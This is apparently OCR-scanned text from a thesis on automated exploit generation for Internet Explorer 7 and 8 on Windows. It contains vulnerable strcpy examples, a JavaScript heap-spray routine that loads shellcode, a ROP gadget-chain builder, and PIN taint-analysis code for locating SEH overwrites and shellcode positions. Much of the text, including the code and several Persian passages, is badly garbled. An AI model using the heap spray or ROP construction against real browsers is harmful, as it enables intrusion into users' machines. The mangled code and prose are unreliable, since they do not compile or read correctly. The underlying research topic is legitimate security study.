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4 _Stack Buffer Overflow
5- Heap Buffer Overflow
6 -Function Pointer
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void func(char *input)

{
charbuf]12];
strepy(buf.input);

int main(intarge, char* argv[])
{
func(argv[1]);
printf(“END”);
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4- Stack Cookie
5- Frame

0g—x3 9 039 30 Yoy 315 s (6 iy mas] Y -Y
ol &0 gl
Sl 10 Loy & jg0ay lakibl> ey gl sy S
Ot 3 S s oo dloul 035 o alabl> ] g
J_wl.ﬁ sl S99 S u&m o$53 B as ‘:Lﬁdfu\aw]
3 AL e rdycal s oS I Glaiged .l 3L 555
el oalie b8 (V) JSG 0 0093

void func(char *input)

{
Char* buf = malloc(12);

}smpy{bﬂ,irpm};
1';11; main(int arge, char* argv[])

func(argv[1])
printf(“END");
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5- Return Oriented Programming (ROP)
6- Address Space Layout Randomization

1- Exception Handler

2- Structured Exception Handling(SEH)
3- Data Execution Prevention (DEP)

4- Shellcode
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paddingstr = "\\u4141\\u4141";
while (paddingstr.length*2 < 65535)

paddingstr += paddingstr;
function padding(len)

if (len <= paddingstr.length)
return paddingstr.substr(0, len);

function heapspray(data, mb)

{

var chunk64k = data + padding((65536 -
data.length*2)/2);

var chunklmb ="";

for (var i =0; i < 15; i++)

chunklmb += chunk64k;

chunklmb += chunk64k.substr(0, 65498/2);

a =new Array();

for (var i =0; i <mb; i++)

a[i] = chunklmb.substr(0,
chunklmb.length);
}
P
function InvokeHeapSpray()

shellcode = unescape(shellcodebytes);
heapspray(shellcode, 200);
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4 -Memory Leak
5 -Proof of Concept (POC)

1 -Plugin
2 -Spray
3- Script
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void RET_Analysis(ADDRINT esp)

if(CheckAlreadyMemTainted(esp))
stackOverflowFlag = true;

}
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void MOV_MemRead_Analysis(UINT32 memOP,REG
dstReg,REG memoryBaseReg,REG memorylndexReg)

if(CheckAlreadyMemTainted(memOP))

{
AddTaintedReg(dstReg);
return;

if(REG_valid(memoryBaseReg))
if(CheckAlreadyRegTainted(memoryBaseReg))

AddTaintedReg(fstReg);
return;

}
}
if(REG_valid(memorylndexReg))

if(CheckAlreadyRegTainted(memorylndexReg))

{
AddTaintedReg(dstReg);
return;

}

}
if(CheckAlreadyRegTainted(dstReg))
RemoveTaintedReg(dstReg);

}
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void CallMemoryAnalysis(UINT32 memOP,REG
memoryBaseReg,REG memorylndexReg)

if(REG_valid(memoryBaseReg))

if(CheckAlreadyRegTainted(memoryBaseReg))
Exception_in_Call = true;

}

else

if(REG_valid(memorylndexReqg))
{

if(CheckAlreadyRegTainted(memorylndexReg))
Exception_in_Call = true;
}

}

if(CheckAlreadyMemTainted(memOP) ||
IPIN_CheckReadAccess((void*)memOP))

{
}

else

Exception_in_Call = true;

UINT32 value =
MEMORY _ReadUint32(memOP);
if('PIN_CheckReadAccess((void*)value))
Exception_in_Call = true;

}
}
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void MOV_ Analysis(UINT32 memOP,REG srcReg)
if(CheckAlreadyRegTainted(srcReg))
if(ISStackWrite(memOP))
if(RetAddrList.find(memOP) !=

RetAddrList.end())
stackOverflowFlag = true;
}

}
}

mov [MemOP],srcReg jgiws Jodow o5 (1) 5%
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void Syscall[Exit(THREADID tID, CONTEXT
*ctxt, SYSCALL_STANDARD std, VOID *v)

{

UINT32 sysNumber =
PIN_GetSyscallNumber(ctxt,std);
if(sysNumber == readFileSysNum)

{

ADDRINT esp =

PIN_GetContextReg(ctxt, REG_ESP);
UINT32 tmp = READ_ADDRESS(esp+0x18);
UINT32 readCount =
READ_ADDRESS(tmp+0x04);

UINT32 bufAddr =
READ_ADDRESS(esp+0x1c);

for(int i =0;i<size;i++)
{ if(tMems.find(bufAddr+i) == tMems.end())
{ pair<UINT32,UINT32> m; m.first =
bufAddr+i;
m.second = readCount + i;
TaintedMems.insert(m); }
else tMems[bufAddr +i] = readCount + i;

}
}
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map<ADDRINT,SEH>sehList;

ADDRINT fsAddr =

PIN GetContextReg(cntx REG SEG FS BASE);
SEH seh;

ADDRINT schAddr = READ ADDRESS(fsAddr);
while(seh.Next SEH != 0xFFFFFFFF)

if(PIN_CheckReadAccess((void*)sehAddr))
seh.Next SEH=READ ADDRESS(sechAddr);
else
break;
if(PIN_CheckReadAccess((void*)(sechAddr+4)))

{
seh.SEH= READ ADDRESS(schAddr+4);

pair<ADDRINT,SEH= p:
p.first = sehAddr;
p-second = seh;
sehList.insert(p);
sehAddr= seh.Next SEH;
}
else

break;
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string ropSTR ="""";

bool beforeGadgetPaddingFlag = false;
pair<ADDRINT ,string> result;
pair<ADDRINT,string> findedGadget;
std::list<Win::MEMORY_BASIC_INFORMATION>
memPages;

UINT32 paddingValue = 0;

memPages = GetMemoryPages(moduleName);
if(memPages.size() > 0)

findedGadget = FindGadget(cntx,"" MOV
EAX, 116", memPages);

result.first = findedGadget.first;

if(result.first > 0)

ropSTR.append(findedGadget.second);
if(beforeGadgetPaddingValue > 0)

beforeGadgetPaddingFlag = true;
paddingValue = beforeGadgetPaddingValue;
}

else

{
paddingValue = 0;
beforeGadgetPaddingFlag = false;

}
findedGadget = FindGadget(cntx,"" XCHG
EBX,EAX", memPages);
if(findedGadget.first > 0)

ropSTR.append(findedGadget.second);
if(beforeGadgetPaddingFlag)

for(int i = 0; i< paddingValue; i++)
ropSTR.append(*"\\x41™); }
if(beforeGadgetPaddingValue > 0)
{

beforeGadgetPaddingFlag = true;
paddingValue = beforeGadgetPaddingValue;

}

else

{
paddingValue = 0;
beforeGadgetPaddingFlag = false;

}
}

result.second = ropSTR;
return result;
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map<ADDRINT,SEH>::iterator it;
map<UINT32,UINT32>::iterator taintedMemAddrit;
UINT32 distance = 0;

pair<UINT32,UINT32> result;

ADDRINT stackAddr;

sehChain = GetSEHChain(cntx);
if(sehChain.size() > 1)

it = sehChain.begin();
ADDRINT esp =
PIN_GetContextReg(cntx,REG_ESP);
it++;
while((*it).first < esp)
it++;
stackAddr = (*it).first;
taintedMemAddrit = TaintedMems.find(stackAddr);
while( taintedMemAddrit == TaintedMems.end())

stackAddr--;

distance++;

taintedMemAddrit =
TaintedMems.find(stackAddr);
}

result.first = distance;
result.second = (*taintedMemAddrit).second;

return result;
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VOID ImageLoad(IMG img, void *v)

pair<UINT32,string> p;
IMAGE_CHARACTERISTICS img_ch;

p.first = IMG_LowAddress(img);

p.second = IMG_Name(img);

img_ch = GetlmageCharacteristics(p.second);
if(img_ch.DYNAMIC_BASE == false)

noASLRImageL.ist.insert(p);
}

}
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pair<UINT32,UINT32> result;
map<UINT32,UINT32>::iterator addrit;
addrit = TaintedMems.begin();
UINT32 scLoc = (*addrit).first;
UINT32 scLen = 0;
UINT32 inputPosForShellcode = (*addrit).second;
Do
{ o
UINT32 currentAddr = (*addrit).first;
UINT32 currentinputPos = (*addrit).second,;
addrit++;
UINT32 nextAddr = (*addrit).first;
UINT32 nextAddrinputPos = (*addrit).second;
addrit--;
if((currentAddr+1 !'= nextAddr) &&
(currentinputPos+1 1= nextAddrinputPos))
{

if(scLen > shellCode_Len_Param)

result.first = scLoc;
result.second = inputPosForShellcode;
return result;

else

scLen =-1;

scLoc = nextAddr;

inputPosForShellcode = nextAddrinputPos;
}

}

scLen++;
addrit++;

}
while(addrit !'= TaintedMems.end());
result.first = 0;

result.second = 0;
return result;
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ABSTRACT

Existence of a vulnerability for hackers don’t be exploitable only and whatever give credit to vulnerability
is Exploit. Automated Exploit Generation (AEG) confront problems because of various protec-
tions ,behavior and vulnerability conditions but nonetheless had did researches in subject. Whatever | had
peruse in this thesis is possibility of automated exploit generation for vulnerabilities of Internet Explorer
(IE) 7 & 8 in Win XP and Win 7. Generated exploits are for two vulnerability type: Stack Buffer Overflow
and Function Pointer Overwrite. In my savory method that use from instrumentation tools, would hoarded
necessary information from program through dynamic analysis. In this method has detected vulnerability
type and has bypassed methods of protections and has showing proper patterns for exploit. Must | Remi-
nisce you that in the project don’t discovery vulnerability and there are vulnerability.

Keywords: Vulnerability, Exploit, Buffer Overflow, Stack, Heap, Shellcode.
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